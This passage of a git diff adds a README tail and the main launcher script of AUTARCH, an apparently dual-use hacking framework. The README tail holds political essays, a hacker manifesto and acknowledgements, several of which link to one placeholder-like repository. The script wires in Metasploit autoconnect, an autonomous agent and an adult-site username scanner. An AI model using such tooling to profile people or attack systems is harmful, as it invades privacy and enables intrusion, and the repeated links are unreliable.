metadata can map entire networks of activists. Leaders may be singled out and pressured, while participants may face intimidation simply for exercising their right to gather. In some countries, AI-based "social scoring" systems already penalize individuals for their associations, and similar mechanisms could emerge elsewhere—such as in the U.S.—if left unchecked. + +The erosion of assembly rights highlights a broader truth: democracy depends not only on the ability to gather and speak, but also on the ability to participate fully in elections. If the public square is vulnerable to AI manipulation, the ballot box is equally at risk. Even the most fundamental democratic right—the right to vote—is not immune. Generative AI makes it easier than ever to flood social media with targeted disinformation, tailoring falsehoods to specific demographics with surgical precision. Automated campaigns can discourage turnout among targeted groups, spread confusion about polling locations or dates, or erode faith in electoral outcomes altogether. If applied to electronic voting systems themselves, AI could exploit vulnerabilities at a scale that would threaten confidence in the legitimacy of elections. + +These risks do not mean that AI is inherently incompatible with constitutional democracy. Rather, they highlight the need for deliberate safeguards such as equal access. If the police can monitor us without warrants in ways the founding fathers could not even fathom—but clearly did not want or would approve of—what's to stop them from taking our other rights away based on technology simply because it didn't exist 249 years ago? Transparency laws can give citizens the right to know when AI is being used, how it was trained, and how it arrives at its conclusions. Independent oversight boards and technical audits can ensure accountability in government deployments. But most importantly, humans must retain ultimate judgment in matters of liberty, justice, and political participation. And if citizens are being monitored with these tools, so should law enforcement and, when possible, the military. Finally, promoting access and digital literacy among the public—on how LLMs are created, used, and how to use them—is essential, so that citizens recognize manipulation when they see it and understand the power—and the limits—of these systems. + +Yet, if left unchecked, artificial intelligence risks becoming a silent but powerful tool to erode constitutional protections without the end user even realizing it is happening. However, if governed wisely, the same technology can help safeguard rights by exposing corruption, enhancing transparency, and empowering individuals. The real question is not whether AI will shape our constitutional order; it is how we will let it. + +--- + +## Our Rambling Rant...Who We Are And Why We Do It + + +We are dedicated to providing cutting-edge security solutions at no cost to the community, and since our source code is protected speech, we are not going anywhere. Criminals makes millions every year selling tools that are designed to be point and disrupt. So we decided why not do the same with security tools, except at no cost for the home user. Until now, governments, criminal organizations and other groups have paid hackers thousands of dollars to buy what are known as 0-day exploits, flaws in software you use everyday that have no fix or patches. Others report them to the manufacturer for money in bounty programs. We use them to create tools that protect YOU and your family members in real-time from these 0-days, as well as advance the right to repair movement and homebrew scene by exploiting these same flaws for good/fun. + +If you are asking yourself why would we do this? It because we are the hackers who still have the core belief that, like anarchy is not about violence and smashing windows, hacking is not about damaging lives, stealing data or making money. Its about pushing boundaries, exploring, finding new and better ways of doing something and improving peoples lives. And for the longest time, hackers were at the forefront of the tech world. They didn't have to buy their own platforms or pay people to like them. Hackers didn't care how many people followed them. Instead of using their real names, they had monikers like Grandmaster Ratte, Mudge, Sid Vicious...and yes, even Lord British. + +They taught us hacking was more a mentality like punk then a adjective describing an action. They taught us that just because we can doesn't meant we should, and if someone tells us we cant, we will prove them wrong...just so we can say we did it. For us, its about having fun, a very important part of living as long as your not hurting other people. And that's what the original hackers from MIT, Berkley and Cal-tech taught us, dating all the way back to the 1950's when computers we more of a mechanical machine and looked nothing like what a computer today looks like, let alone functions like one. + +But everything changed after 9/11 happened. While it was very important people like the members of the Cult of The Dead Cow and other groups came to aid of those fighting the war against a brand new world, one the government knew nothing about (due their own fault). But as the war dragged on and and computers evolved, the hackers did not find the balance between going to far and remembering what the word hacker once meant. They forgot what the core of being one was about. While making money is fine, those tools ended up on the phones and computers of dissidents, reporters and have led to the deaths of people seeking nothing more than a better life or for trying to report on war crimes. They have become the go to tool for dictators controlling their populations. And those tools have continued to evolve. With the dawn of a new AI era, surveillance spyware, crypto-jackers and info stealers are being created faster than ever. And with only a handful of the old guard still active working on projects such as Veilid trying to undo the damage that was done, we are losing the war on safety, privacy and freedom. + +While the immediate effect of these tools were not known to many, and it took years of court cases and FOI requests to reveal just how they were being used by the US government and others, the real damage was already done. Then when these tools were leaked, instead of helping on the front lines to stop the damage being done, the people who created them slipped into C-Suite jobs or government advisor roles making millions with their true backgrounds completely hidden. + +That is why we formed this group. As the old guard moved on, not looking back, no one stepped up to take their place and instead left the next generation to learn on their own. And while some of these groups had the right idea, they had the wrong execution. You know the saying, "The path to hell is paved with good intentions." + +Besides making tools to to help stop the current war online, we also hope to to lead by example. To show the current generation that their are better ways then being malicious, such as releasing tools that will protect you from 0-day exploits. Tools that will outsmart the spyware and malware/ransomware that has infected millions of computer. But also how to still have fun with it. + +No, we are not legion. And some of us are getting old, so we might forget. But its time hackers are no longer a bad word again. For a full history of the hacker revolution, there are some great books. I suggest reading Cult of the Dead Cow: How the Original Hacking Supergroup Might Just Save the World by Joseph Mann. (When I was just a little script kiddie myself in the early 90's, I spent countless hours on their BBS, reading and learning everything I could, so I'm a little biased. And a little traumatized.) + +This is not some manifesto, its just a lesson in history and a plea to other hackers. If we don't want history to repeat at the dawn of this new computing era we just entered, we need hackers on the side of....well chaotic good. If you want to join us, find us (we really are not hiding). + +*Note: While we try to stay away from politics, this has to be said because no one is saying it. Everyone rather cower to someone who thinks they can do whatever they hell they want. People are f\*cking tired of it, and tired of the people we elected to represent us to scared to say what everyone is thinking.* + +*Links to our github and automated pentesting and offensive models will be re-added once our website resigned is complete. For now, find them on Huggingface.* + +--- + +### Europe Must Remember: America Needs Us More Than We Need Them + +The silence from Brussels and London has been deafening. + +As President Trump openly muses about acquiring Greenland—including by force—European leaders have responded with little more than diplomatic throat-clearing and carefully worded statements of concern. This timidity is not statesmanship. It is abdication. + +Let us be blunt: Greenland is European territory. It is an autonomous region of Denmark, a NATO ally, an EU-associated territory. Any attempt to take it by force would be an act of war against a European nation. That this even requires stating reveals how far European powers have allowed themselves to be diminished in American eyes. + +The EU and the UK have seemingly forgotten what they are. These are nations and institutions that predate the American experiment by centuries—in some cases, by millennia. Rome rose and fell before English common law was codified. The Treaty of Westphalia established the modern international order while America was still a collection of colonies. Europe has survived plagues, world wars, occupations, and the collapse of empires. It will survive a trade dispute with Washington. + +The same cannot be said in reverse. + +**The Arsenal of Resistance** + +Europe is not without weapons in an economic conflict—and they are far more potent than Washington seems to appreciate. + +Consider pharmaceuticals. European companies supply a staggering portion of America's medicines. Novo Nordisk, Sanofi, AstraZeneca, Roche, Bayer—these names are not optional for American patients. An export restriction on critical medications would create a healthcare crisis within weeks. The United States simply does not have the domestic capacity to replace these supplies. + +Then there is aerospace. Airbus delivers roughly half of all commercial aircraft purchased by American carriers. Boeing cannot meet domestic demand alone, as its ongoing production disasters have made painfully clear. European aviation authorities could slow-walk certifications, delay deliveries, or restrict parts supplies. American airlines would feel the pinch immediately. + +Financial services offer another pressure point. London remains a global financial hub despite Brexit. European banks hold substantial American assets and conduct enormous daily transaction volumes with US counterparts. Regulatory friction, transaction delays, or capital requirements could introduce chaos into markets that depend on seamless transatlantic flows. + +Luxury goods, automobiles, specialty chemicals, precision machinery, wine and spirits, fashion—the list continues. Europe exports goods America's wealthy and middle class have grown accustomed to. Tariffs work both ways, and European consumers can find alternatives for American products far more easily than Americans can replace a BMW, a bottle of Bordeaux, or a course of medication. + +And then there is the nuclear option: the US dollar's reserve currency status depends in part on European cooperation. If the EU began conducting more trade in euros, requiring euro settlement for energy purchases, or coordinating with other blocs to reduce dollar dependence, the long-term consequences for American economic hegemony would be severe. This would not happen overnight, but the mere credible threat of movement in this direction should give Washington pause. + +**The Costs for America** + +The consequences of a genuine EU-US economic rupture would be asymmetric—and not in America's favor. + +American consumers would face immediate price shocks. Goods that currently flow freely across the Atlantic would become scarce or expensive. Pharmaceutical shortages would strain an already fragile healthcare system. Automotive supply chains would seize. Technology companies dependent on European components, software, and talent would scramble. + +American farmers, already battered by previous trade wars, would lose one of their largest export markets. Soybeans, pork, poultry, and agricultural machinery would stack up in warehouses while European buyers turned to Brazil, Argentina, and domestic producers. + +The financial sector would face regulatory balkanization. American banks operating in Europe would confront new compliance burdens. Investment flows would slow. The certainty that has underpinned transatlantic commerce for decades would evaporate. + +Perhaps most critically, American diplomatic isolation would accelerate. If Washington demonstrates it is willing to bully its closest allies, why would any nation trust American commitments? The soft power that has been America's greatest asset since 1945 would erode further, pushing more countries toward Beijing's orbit—precisely the outcome American strategists claim to fear most. + +**The Ukraine Question** + +Some will argue that European resistance to American pressure would harm Ukraine. This concern deserves acknowledgment—and a clear-eyed response. + +Yes, American military aid has been critical to Ukraine's defense. Yes, a rupture in transatlantic relations could complicate the flow of weapons and intelligence. Yes, Kyiv would suffer if its two largest backers turned on each other. + +But let us be absolutely clear about where responsibility would lie: with Washington. + +Europe has already demonstrated its commitment to Ukraine. The EU has provided tens of billions in financial assistance, welcomed millions of refugees, imposed sweeping sanctions on Russia, and begun the long process of integrating Ukraine into European structures. This support would continue—and likely intensify—regardless of American posturing. If anything, American abandonment would accelerate European defense integration and military investment, ultimately producing a more capable and self-reliant European security architecture. + +If Ukraine suffers because the United States chose to bully its allies rather than work with them, that is an American failure, not a European one. Europe did not pick this fight. Europe is not threatening to seize allied territory. Europe is not issuing ultimatums and demanding policy changes under threat of economic warfare. + +Washington wants to play the bully and then blame Europe for the consequences? That narrative must be rejected categorically. The EU and UK should make clear: we will defend Ukraine, we will defend ourselves, and we will not be blackmailed. If the transatlantic relationship fractures, history will record who swung the hammer. + +**A Call for Courage** + +The United States depends on global supply chains for everything from pharmaceuticals to rare earth minerals, consumer electronics to industrial machinery. American manufacturing has been hollowed out over decades of offshoring. The country runs persistent trade deficits precisely because it cannot produce what it consumes. Europe, by contrast, maintains robust manufacturing bases, agricultural self-sufficiency in key sectors, and—critically—the institutional knowledge to rebuild what has atrophied. + +Yes, a genuine economic rupture with America would be painful. Germany would need to revive its defense industrial base. European nations would need to accelerate military integration and spending. Supply chains would require restructuring. None of this would be pleasant or cheap. + +But Europe would adapt. It always has. + +The deeper issue is not economic arithmetic. It is the fundamental question of sovereignty. When the United States threatens to withdraw support unless European nations adopt particular policies—whether on trade, technology, or anything else—it is not behaving as an ally. It is behaving as a suzerain issuing commands to vassal states. + +This must end. + +European leaders need to communicate, clearly and publicly, that the transatlantic relationship is a partnership of equals or it is nothing. The United States does not dictate European trade policy. It does not dictate European environmental regulations. It does not dictate which nations Europe may conduct commerce with. And it absolutely does not get to annex European territory through threats or force. + +If Washington wishes to play hardball, Brussels and London should be prepared to respond in kind. The tools exist. The leverage exists. The only question is whether European leaders have the spine to use them. + +The current moment calls for steel, not silk. European leaders must remind Washington of a simple truth: alliances are built on mutual respect, not submission. The United States is not in charge of the world. It does not write the laws of other nations. And if it wishes to remain a partner rather than become an adversary, it would do well to remember that Europe has options—and the will to use them. + +The only question is whether European leaders have the courage to say so. + +--- + +### About darkHal Security Group + +> *"There's a reason you separate military and the police. One fights the enemies of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people."* — Commander Adama, Battlestar Galactica + +--- + +## Acknowledgements + +AUTARCH builds on the work of many outstanding open-source projects. We thank and acknowledge them all: + +### Frameworks & Libraries + +- [Flask](https://flask.palletsprojects.com/) — Web application framework +- [Jinja2](https://jinja.palletsprojects.com/) — Template engine +- [llama.cpp](https://github.com/ggml-org/llama.cpp) — Local LLM inference engine +- [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) — Python bindings for llama.cpp +- [HuggingFace Transformers](https://github.com/huggingface/transformers) — ML model library +- [Anthropic Claude API](https://docs.anthropic.com/) — Cloud LLM backend +- [FastMCP](https://github.com/jlowin/fastmcp) — Model Context Protocol server + +### Security Tools + +- [Metasploit Framework](https://github.com/rapid7/metasploit-framework) — Penetration testing framework +- [RouterSploit](https://github.com/threat9/routersploit) — Router exploitation framework +- [Nmap](https://nmap.org/) — Network scanner and mapper +- [Wireshark / tshark](https://www.wireshark.org/) — Network protocol analyzer +- [Scapy](https://scapy.net/) — Packet crafting and analysis +- [WireGuard](https://www.wireguard.com/) — Modern VPN tunnel + +### Hardware & Mobile + +- [@yume-chan/adb](https://github.com/nicola-nicola/nicola-nicola) — ADB over WebUSB +- [android-fastboot](https://github.com/nicola-nicola/nicola-nicola) — Fastboot over WebUSB +- [esptool-js](https://github.com/nicola-nicola/nicola-nicola) — ESP32 flashing in browser +- [Android Platform Tools](https://developer.android.com/tools/releases/platform-tools) — ADB & Fastboot CLI +- [esptool](https://github.com/nicola-nicola/nicola-nicola) — ESP32 firmware flashing +- [pyserial](https://github.com/pyserial/pyserial) — Serial port communication +- [pyshark](https://github.com/KimiNewt/pyshark) — Wireshark Python interface +- [scrcpy](https://github.com/Genymobile/scrcpy) — Android screen mirroring +- [libadb-android](https://github.com/nicola-nicola/nicola-nicola) — ADB client for Android + +### Python Libraries + +- [bcrypt](https://github.com/pyca/bcrypt) — Password hashing +- [requests](https://github.com/psf/requests) — HTTP client +- [msgpack](https://github.com/msgpack/msgpack-python) — Serialization (Metasploit RPC) +- [cryptography](https://github.com/pyca/cryptography) — Cryptographic primitives +- [PyCryptodome](https://github.com/Legrandin/pycryptodome) — AES encryption +- [Pillow](https://github.com/python-pillow/Pillow) — Image processing +- [qrcode](https://github.com/lincolnloop/python-qrcode) — QR code generation +- [zeroconf](https://github.com/python-zeroconf/python-zeroconf) — mDNS service discovery +- [PyInstaller](https://github.com/pyinstaller/pyinstaller) — Executable packaging +- [cx_Freeze](https://github.com/marcelotduarte/cx_Freeze) — MSI installer packaging + +### Android / Kotlin + +- [AndroidX](https://developer.android.com/jetpack/androidx) — Jetpack libraries +- [Material Design 3](https://m3.material.io/) — UI components +- [Conscrypt](https://github.com/nicola-nicola/nicola-nicola) — SSL/TLS provider for Android + +### Build Tools + +- [esbuild](https://esbuild.github.io/) — JavaScript bundler +- [Gradle](https://gradle.org/) — Android build system + +### Data Sources + +- [NVD API v2.0](https://nvd.nist.gov/developers/vulnerabilities) — National Vulnerability Database + +--- + +*Built with discipline by darkHal Security Group & Setec Security Labs.* diff --git a/activate.sh b/activate.sh new file mode 100644 index 0000000..488ba9b --- /dev/null +++ b/activate.sh @@ -0,0 +1,2 @@ +#!/bin/bash +source "$(dirname "$(realpath "$0")")/venv/bin/activate" diff --git a/autarch.ico b/autarch.ico new file mode 100644 index 0000000..c1538f9 Binary files /dev/null and b/autarch.ico differ diff --git a/autarch.py b/autarch.py new file mode 100644 index 0000000..7a3f6b9 --- /dev/null +++ b/autarch.py @@ -0,0 +1,801 @@ +#!/usr/bin/env python3 +""" +AUTARCH - Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking +By darkHal Security Group and Setec Security Labs + +Main entry point for the AUTARCH framework. +""" + +import sys +import shutil +import argparse +import importlib.util +from pathlib import Path +from textwrap import dedent + +# Version info +VERSION = "1.3" +BUILD_DATE = "2026-01-14" + +# Ensure the framework directory is in the path +FRAMEWORK_DIR = Path(__file__).parent +sys.path.insert(0, str(FRAMEWORK_DIR)) + +from core.banner import Colors, clear_screen, display_banner + + +def get_epilog(): + """Get detailed help epilog text.""" + return f"""{Colors.BOLD}CATEGORIES:{Colors.RESET} + defense Defensive security tools (hardening, audits, monitoring) + offense Penetration testing (Metasploit integration, exploits) + counter Counter-intelligence (threat hunting, anomaly detection) + analyze Forensics & analysis (file analysis, strings, hashes) + osint Open source intelligence (email, username, domain lookup) + simulate Attack simulation (port scan, payloads, stress test) + +{Colors.BOLD}MODULES:{Colors.RESET} + chat Interactive LLM chat interface + agent Autonomous AI agent with tool access + msf Metasploit Framework interface + defender System hardening and security checks + counter Threat detection and hunting + analyze File forensics and analysis + recon OSINT reconnaissance (email, username, phone, domain) + adultscan Adult site username scanner + simulate Attack simulation tools + +{Colors.BOLD}EXAMPLES:{Colors.RESET} + {Colors.DIM}# Start interactive menu{Colors.RESET} + python autarch.py + + {Colors.DIM}# Run a specific module{Colors.RESET} + python autarch.py -m chat + python autarch.py -m adultscan + python autarch.py --module recon + + {Colors.DIM}# List all available modules{Colors.RESET} + python autarch.py -l + python autarch.py --list + + {Colors.DIM}# Quick OSINT username scan{Colors.RESET} + python autarch.py osint + + {Colors.DIM}# Show current configuration{Colors.RESET} + python autarch.py --show-config + + {Colors.DIM}# Re-run setup wizard{Colors.RESET} + python autarch.py --setup + + {Colors.DIM}# Skip setup (run without LLM){Colors.RESET} + python autarch.py --skip-setup + + {Colors.DIM}# Use alternate config file{Colors.RESET} + python autarch.py -c /path/to/config.conf + +{Colors.BOLD}FILES:{Colors.RESET} + autarch_settings.conf Main configuration file + user_manual.md Comprehensive user manual + custom_adultsites.json Custom adult sites storage + custom_sites.inf Bulk import domains file + GUIDE.md Quick reference guide + DEVLOG.md Development log + +{Colors.BOLD}CONFIGURATION:{Colors.RESET} + LLM settings: + model_path Path to GGUF model file + n_ctx Context window size (default: 4096) + n_threads CPU threads (default: 4) + n_gpu_layers GPU layers to offload (default: 0) + temperature Sampling temperature (default: 0.7) + + MSF settings: + host Metasploit RPC host (default: 127.0.0.1) + port Metasploit RPC port (default: 55553) + ssl Use SSL connection (default: true) + autoconnect Auto-start msfrpcd on launch (default: true) + +{Colors.BOLD}METASPLOIT AUTO-CONNECT:{Colors.RESET} + On startup, AUTARCH will: + 1. Scan for existing msfrpcd server + 2. If found: stop it and prompt for new credentials + 3. Start msfrpcd with sudo (for raw socket module support) + 4. Connect to the server + + To skip autoconnect: python autarch.py --no-msf + Quick connect: python autarch.py --msf-user msf --msf-pass secret + Without sudo: python autarch.py --msf-no-sudo + +{Colors.BOLD}MORE INFO:{Colors.RESET} + Documentation: See GUIDE.md for full documentation + Development: See DEVLOG.md for development history + +{Colors.DIM}Project AUTARCH - By darkHal Security Group and Setec Security Labs{Colors.RESET} +""" + + +def create_parser(): + """Create the argument parser.""" + parser = argparse.ArgumentParser( + prog='autarch', + description=f'{Colors.BOLD}AUTARCH{Colors.RESET} - Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking', + epilog=get_epilog(), + formatter_class=argparse.RawDescriptionHelpFormatter, + add_help=False # We'll add custom help + ) + + # Help and version + parser.add_argument( + '-h', '--help', + action='store_true', + help='Show this help message and exit' + ) + parser.add_argument( + '-v', '--version', + action='store_true', + help='Show version information and exit' + ) + + # Configuration + parser.add_argument( + '-c', '--config', + metavar='FILE', + help='Use alternate configuration file' + ) + parser.add_argument( + '--show-config', + action='store_true', + help='Display current configuration and exit' + ) + parser.add_argument( + '--manual', + action='store_true', + help='Show the user manual' + ) + parser.add_argument( + '--setup', + action='store_true', + help='Run the setup wizard' + ) + parser.add_argument( + '--skip-setup', + action='store_true', + help='Skip first-time setup (run without LLM)' + ) + + # Module execution + parser.add_argument( + '-m', '--module', + metavar='NAME', + help='Run a specific module directly' + ) + parser.add_argument( + '-l', '--list', + action='store_true', + help='List all available modules' + ) + parser.add_argument( + '--list-category', + metavar='CAT', + choices=['defense', 'offense', 'counter', 'analyze', 'osint', 'simulate', 'core'], + help='List modules in a specific category' + ) + + # Display options + parser.add_argument( + '--no-banner', + action='store_true', + help='Suppress the ASCII banner' + ) + parser.add_argument( + '-q', '--quiet', + action='store_true', + help='Minimal output mode' + ) + parser.add_argument( + '--verbose', + action='store_true', + help='Enable verbose output' + ) + + # Web UI options + parser.add_argument( + '--web', + action='store_true', + help='Start the web dashboard' + ) + parser.add_argument( + '--web-port', + type=int, + metavar='PORT', + help='Web dashboard port (default: 8181)' + ) + parser.add_argument( + '--no-tray', + action='store_true', + help='Disable system tray icon (run web server in foreground only)' + ) + + # Web service management + parser.add_argument( + '--service', + metavar='ACTION', + choices=['start', 'stop', 'restart', 'status', 'enable', 'disable', 'install'], + help='Manage AUTARCH web service (start|stop|restart|status|enable|disable|install)' + ) + + # MCP server + parser.add_argument( + '--mcp', + choices=['stdio', 'sse'], + nargs='?', + const='stdio', + metavar='MODE', + help='Start MCP server (stdio for Claude Desktop/Code, sse for web clients)' + ) + parser.add_argument( + '--mcp-port', + type=int, + default=8081, + metavar='PORT', + help='MCP SSE server port (default: 8081)' + ) + + # UPnP options + parser.add_argument( + '--upnp-refresh', + action='store_true', + help='Refresh all UPnP port mappings and exit (for cron use)' + ) + + # Metasploit options + parser.add_argument( + '--no-msf', + action='store_true', + help='Skip Metasploit autoconnect on startup' + ) + parser.add_argument( + '--msf-user', + metavar='USER', + help='MSF RPC username for quick connect' + ) + parser.add_argument( + '--msf-pass', + metavar='PASS', + help='MSF RPC password for quick connect' + ) + parser.add_argument( + '--msf-no-sudo', + action='store_true', + help='Do not use sudo when starting msfrpcd (limits some modules)' + ) + + # Quick commands (positional) + parser.add_argument( + 'command', + nargs='?', + choices=['chat', 'agent', 'osint', 'scan', 'analyze'], + help='Quick command to run' + ) + parser.add_argument( + 'target', + nargs='?', + help='Target for quick commands (username, IP, file, etc.)' + ) + + return parser + + +def show_version(): + """Display version information.""" + print(f""" +{Colors.BOLD}AUTARCH{Colors.RESET} - Autonomous Tactical Agent +Version: {VERSION} +Build: {BUILD_DATE} + +{Colors.DIM}By darkHal Security Group and Setec Security Labs{Colors.RESET} + +Components: + - Core Framework v{VERSION} + - LLM Integration llama-cpp-python + - MSF Integration Metasploit RPC + - Agent System Autonomous tools + +Modules: + - chat Interactive LLM chat + - agent Autonomous AI agent + - msf Metasploit interface + - defender System hardening (defense) + - counter Threat detection (counter) + - analyze Forensics tools (analyze) + - recon OSINT reconnaissance (osint) + - adultscan Adult site scanner (osint) + - simulate Attack simulation (simulate) + +Python: {sys.version.split()[0]} +Path: {FRAMEWORK_DIR} +""") + + +def show_config(): + """Display current configuration.""" + from core.config import get_config + + config = get_config() + print(f"\n{Colors.BOLD}AUTARCH Configuration{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + print(f"{Colors.CYAN}Config File:{Colors.RESET} {config.config_path}") + print() + + # LLM Settings + print(f"{Colors.CYAN}LLM Settings:{Colors.RESET}") + llama = config.get_llama_settings() + for key, value in llama.items(): + print(f" {key:20} = {value}") + + # Autarch Settings + print(f"\n{Colors.CYAN}Autarch Settings:{Colors.RESET}") + print(f" {'first_run':20} = {config.get('autarch', 'first_run')}") + print(f" {'modules_path':20} = {config.get('autarch', 'modules_path')}") + print(f" {'verbose':20} = {config.get('autarch', 'verbose')}") + + # MSF Settings + print(f"\n{Colors.CYAN}Metasploit Settings:{Colors.RESET}") + try: + from core.msf import get_msf_manager + msf = get_msf_manager() + settings = msf.get_settings() + for key, value in settings.items(): + if key == 'password': + value = '*' * len(value) if value else '(not set)' + print(f" {key:20} = {value}") + except: + print(f" {Colors.DIM}(MSF not configured){Colors.RESET}") + + print() + + +def list_modules(category=None): + """List available modules.""" + from core.menu import MainMenu, CATEGORIES + + menu = MainMenu() + menu.load_modules() + + print(f"\n{Colors.BOLD}Available Modules{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n") + + if category: + # List specific category + cat_info = CATEGORIES.get(category, {}) + modules = menu.get_modules_by_category(category) + + color = cat_info.get('color', Colors.WHITE) + print(f"{color}{Colors.BOLD}{category.upper()}{Colors.RESET} - {cat_info.get('description', '')}") + print() + + if modules: + for name, info in modules.items(): + print(f" {color}{name:15}{Colors.RESET} {info.description}") + print(f" {Colors.DIM}{'':15} v{info.version} by {info.author}{Colors.RESET}") + else: + print(f" {Colors.DIM}No modules in this category{Colors.RESET}") + else: + # List all categories + for cat_name, cat_info in CATEGORIES.items(): + modules = menu.get_modules_by_category(cat_name) + if not modules: + continue + + color = cat_info.get('color', Colors.WHITE) + print(f"{color}{Colors.BOLD}{cat_name.upper()}{Colors.RESET} - {cat_info.get('description', '')}") + + for name, info in modules.items(): + print(f" {color}[{name}]{Colors.RESET} {info.description}") + + print() + + print(f"{Colors.DIM}Total modules: {len(menu.modules)}{Colors.RESET}") + print(f"{Colors.DIM}Run with: python autarch.py -m {Colors.RESET}\n") + + +def run_module(module_name, quiet=False): + """Run a specific module directly.""" + modules_path = FRAMEWORK_DIR / 'modules' + module_file = modules_path / f"{module_name}.py" + + if not module_file.exists(): + print(f"{Colors.RED}[X] Module not found: {module_name}{Colors.RESET}") + print(f"{Colors.DIM}Use --list to see available modules{Colors.RESET}") + sys.exit(1) + + try: + spec = importlib.util.spec_from_file_location(module_name, module_file) + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + + if hasattr(module, 'run'): + if not quiet: + clear_screen() + display_banner() + print(f"{Colors.GREEN}[+] Running module: {module_name}{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + module.run() + else: + print(f"{Colors.RED}[X] Module '{module_name}' has no run() function{Colors.RESET}") + sys.exit(1) + + except Exception as e: + print(f"{Colors.RED}[X] Module error: {e}{Colors.RESET}") + sys.exit(1) + + +def quick_osint(username): + """Quick OSINT username lookup.""" + print(f"\n{Colors.CYAN}Quick OSINT: {username}{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 40}{Colors.RESET}\n") + + # Run adultscan with username + try: + from modules.adultscan import AdultScanner + scanner = AdultScanner() + scanner.scan_username(username) + scanner.display_results() + except Exception as e: + print(f"{Colors.RED}Error: {e}{Colors.RESET}") + + +def quick_scan(target): + """Quick port scan.""" + print(f"\n{Colors.CYAN}Quick Scan: {target}{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 40}{Colors.RESET}\n") + + try: + from modules.simulate import Simulator + sim = Simulator() + # Would need to modify simulator to accept target directly + # For now, just inform user + print(f"Use: python autarch.py -m simulate") + print(f"Then select Port Scanner and enter: {target}") + except Exception as e: + print(f"{Colors.RED}Error: {e}{Colors.RESET}") + + +def manage_service(action): + """Manage the AUTARCH web dashboard systemd service.""" + import subprocess + + SERVICE_NAME = "autarch-web" + SERVICE_FILE = FRAMEWORK_DIR / "scripts" / "autarch-web.service" + SYSTEMD_PATH = Path("/etc/systemd/system/autarch-web.service") + + if action == 'install': + # Install the service file + if not SERVICE_FILE.exists(): + print(f"{Colors.RED}[X] Service file not found: {SERVICE_FILE}{Colors.RESET}") + return + try: + subprocess.run(['sudo', 'cp', str(SERVICE_FILE), str(SYSTEMD_PATH)], check=True) + subprocess.run(['sudo', 'systemctl', 'daemon-reload'], check=True) + print(f"{Colors.GREEN}[+] Service installed: {SYSTEMD_PATH}{Colors.RESET}") + print(f"{Colors.DIM} Enable with: python autarch.py --service enable{Colors.RESET}") + print(f"{Colors.DIM} Start with: python autarch.py --service start{Colors.RESET}") + except subprocess.CalledProcessError as e: + print(f"{Colors.RED}[X] Install failed: {e}{Colors.RESET}") + return + + if not SYSTEMD_PATH.exists(): + print(f"{Colors.YELLOW}[!] Service not installed. Run: python autarch.py --service install{Colors.RESET}") + return + + cmd_map = { + 'start': ['sudo', 'systemctl', 'start', SERVICE_NAME], + 'stop': ['sudo', 'systemctl', 'stop', SERVICE_NAME], + 'restart': ['sudo', 'systemctl', 'restart', SERVICE_NAME], + 'enable': ['sudo', 'systemctl', 'enable', SERVICE_NAME], + 'disable': ['sudo', 'systemctl', 'disable', SERVICE_NAME], + } + + if action == 'status': + result = subprocess.run( + ['systemctl', 'is-active', SERVICE_NAME], + capture_output=True, text=True + ) + is_active = result.stdout.strip() + result2 = subprocess.run( + ['systemctl', 'is-enabled', SERVICE_NAME], + capture_output=True, text=True + ) + is_enabled = result2.stdout.strip() + + color = Colors.GREEN if is_active == 'active' else Colors.RED + print(f"\n {Colors.BOLD}AUTARCH Web Service{Colors.RESET}") + print(f" {'─' * 30}") + print(f" Status: {color}{is_active}{Colors.RESET}") + print(f" Enabled: {is_enabled}") + print() + + # Show journal output + result3 = subprocess.run( + ['journalctl', '-u', SERVICE_NAME, '-n', '5', '--no-pager'], + capture_output=True, text=True + ) + if result3.stdout.strip(): + print(f" {Colors.DIM}Recent logs:{Colors.RESET}") + for line in result3.stdout.strip().split('\n'): + print(f" {Colors.DIM}{line}{Colors.RESET}") + return + + if action in cmd_map: + try: + subprocess.run(cmd_map[action], check=True) + print(f"{Colors.GREEN}[+] Service {action}: OK{Colors.RESET}") + except subprocess.CalledProcessError as e: + print(f"{Colors.RED}[X] Service {action} failed: {e}{Colors.RESET}") + + +def check_first_run(): + """Check if this is the first run and execute setup if needed.""" + from core.config import get_config + config = get_config() + + if config.is_first_run(): + from modules.setup import run as run_setup + if not run_setup(): + print("Setup cancelled. Exiting.") + sys.exit(1) + + +def msf_autoconnect(skip: bool = False, username: str = None, password: str = None, + use_sudo: bool = True): + """Handle Metasploit autoconnect on startup. + + Args: + skip: Skip autoconnect entirely + username: Optional username for quick connect + password: Optional password for quick connect + use_sudo: Run msfrpcd with sudo (default True for raw socket support) + """ + if skip: + return + + from core.msf import get_msf_manager, msf_startup_autoconnect, msf_quick_connect, MSGPACK_AVAILABLE + + if not MSGPACK_AVAILABLE: + print(f"{Colors.DIM} [MSF] msgpack not available - skipping autoconnect{Colors.RESET}") + return + + # If credentials provided via command line, use quick connect + if password: + msf_quick_connect(username=username, password=password, use_sudo=use_sudo) + else: + # Use interactive autoconnect + msf_startup_autoconnect() + + +def run_setup_wizard(): + """Run the setup wizard.""" + from modules.setup import run as run_setup + run_setup() + + +def main(): + """Main entry point for AUTARCH.""" + parser = create_parser() + args = parser.parse_args() + + # Handle help + if args.help: + if not args.quiet: + display_banner() + parser.print_help() + sys.exit(0) + + # Handle version + if args.version: + show_version() + sys.exit(0) + + # Handle config file override + if args.config: + from core import config as config_module + config_module._config = config_module.Config(args.config) + + # Handle show config + if args.show_config: + show_config() + sys.exit(0) + + # Handle manual + if getattr(args, 'manual', False): + manual_path = FRAMEWORK_DIR / 'user_manual.md' + if manual_path.exists(): + # Try to use less/more for paging + import subprocess + pager = 'less' if shutil.which('less') else ('more' if shutil.which('more') else None) + if pager: + subprocess.run([pager, str(manual_path)]) + else: + print(manual_path.read_text()) + else: + print(f"{Colors.RED}[X] User manual not found: {manual_path}{Colors.RESET}") + sys.exit(0) + + # Handle setup + if args.setup: + if not args.no_banner: + clear_screen() + display_banner() + run_setup_wizard() + sys.exit(0) + + # Handle skip setup + if args.skip_setup: + from modules.setup import SetupWizard + wizard = SetupWizard() + wizard.skip_setup() + 